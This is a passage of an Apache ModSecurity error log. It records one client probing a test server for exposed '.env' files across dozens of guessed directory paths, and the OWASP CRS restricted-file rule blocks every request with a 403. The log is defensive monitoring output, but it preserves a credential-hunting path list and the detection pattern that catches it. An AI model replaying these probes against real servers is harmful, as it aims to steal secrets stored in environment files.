&quot;aZ-Nsik1SHHL9bIjTI-PeQAAAAU&quot;]
[Thu Feb 26 01:02:58.269422 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PeQAAAAU&quot;]
[Thu Feb 26 01:02:58.269561 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenge/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PeQAAAAU&quot;]
[Thu Feb 26 01:02:58.287092 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collab-connect-web-application/server/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmwAAAAM&quot;]
[Thu Feb 26 01:02:58.287300 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmwAAAAM&quot;]
[Thu Feb 26 01:02:58.287456 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collab-connect-web-application/server/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkmwAAAAM&quot;]
[Thu Feb 26 01:02:58.293860 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /challenges/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PegAAAAU&quot;]
[Thu Feb 26 01:02:58.294078 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PegAAAAU&quot;]
[Thu Feb 26 01:02:58.294220 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/challenges/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PegAAAAU&quot;]
[Thu Feb 26 01:02:58.326409 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /charts/liveobjects/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PewAAAAU&quot;]
[Thu Feb 26 01:02:58.326620 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PewAAAAU&quot;]
[Thu Feb 26 01:02:58.326762 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/charts/liveObjects/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PewAAAAU&quot;]
[Thu Feb 26 01:02:58.328374 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /collected_static/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEknAAAAAM&quot;]
[Thu Feb 26 01:02:58.328575 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEknAAAAAM&quot;]
[Thu Feb 26 01:02:58.328717 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/collected_static/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEknAAAAAM&quot;]
[Thu Feb 26 01:02:58.349789 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chat-client/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfAAAAAU&quot;]
[Thu Feb 26 01:02:58.349988 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfAAAAAU&quot;]
[Thu Feb 26 01:02:58.350124 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chat-client/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfAAAAAU&quot;]
[Thu Feb 26 01:02:58.363622 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /community/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEknQAAAAM&quot;]
[Thu Feb 26 01:02:58.363847 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEknQAAAAM&quot;]
[Thu Feb 26 01:02:58.364003 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/community/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEknQAAAAM&quot;]
[Thu Feb 26 01:02:58.392664 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /chiminey/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfQAAAAU&quot;]
[Thu Feb 26 01:02:58.392893 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfQAAAAU&quot;]
[Thu Feb 26 01:02:58.393045 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/chiminey/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfQAAAAU&quot;]
[Thu Feb 26 01:02:58.415874 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /compose/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkngAAAAM&quot;]
[Thu Feb 26 01:02:58.416085 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkngAAAAM&quot;]
[Thu Feb 26 01:02:58.416261 2026] [:error] [pid 2330791] [client 185.177.72.22:24028] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/compose/.env&quot;] [unique_id &quot;aZ-Nsg3HqGC30X9HPoEkngAAAAM&quot;]
[Thu Feb 26 01:02:58.474168 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /ci/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfwAAAAU&quot;]
[Thu Feb 26 01:02:58.474423 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfwAAAAU&quot;]
[Thu Feb 26 01:02:58.474568 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/ci/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PfwAAAAU&quot;]
[Thu Feb 26 01:02:58.502089 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgAAAAAU&quot;]
[Thu Feb 26 01:02:58.502320 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-949-BLOCKING-EVALUATION.conf&quot;] [line &quot;91&quot;] [id &quot;949110&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Score: 5)&quot;] [severity &quot;CRITICAL&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-generic&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgAAAAAU&quot;]
[Thu Feb 26 01:02:58.502493 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file &quot;/usr/share/modsecurity-crs/rules/RESPONSE-980-CORRELATION.conf&quot;] [line &quot;86&quot;] [id &quot;980130&quot;] [msg &quot;Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0&quot;] [tag &quot;event-correlation&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client-app/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgAAAAAU&quot;]
[Thu Feb 26 01:02:58.538669 2026] [:error] [pid 2330812] [client 185.177.72.22:24032] [client 185.177.72.22] ModSecurity: Warning. Matched phrase &quot;/.env&quot; at REQUEST_FILENAME. [file &quot;/usr/share/modsecurity-crs/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf&quot;] [line &quot;124&quot;] [id &quot;930130&quot;] [msg &quot;Restricted File Access Attempt&quot;] [data &quot;Matched Data: /.env found within REQUEST_FILENAME: /client/mutual-fund-app/.env&quot;] [severity &quot;CRITICAL&quot;] [ver &quot;OWASP_CRS/3.2.0&quot;] [tag &quot;application-multi&quot;] [tag &quot;language-multi&quot;] [tag &quot;platform-multi&quot;] [tag &quot;attack-lfi&quot;] [tag &quot;OWASP_CRS&quot;] [tag &quot;OWASP_CRS/WEB_ATTACK/FILE_INJECTION&quot;] [tag &quot;WASCTC/WASC-33&quot;] [tag &quot;OWASP_TOP_10/A4&quot;] [tag &quot;PCI/6.5.4&quot;] [hostname &quot;pms.test.indacotrentino.com&quot;] [uri &quot;/client/mutual-fund-app/.env&quot;] [unique_id &quot;aZ-Nsik1SHHL9bIjTI-PgQAAAAU&quot;]
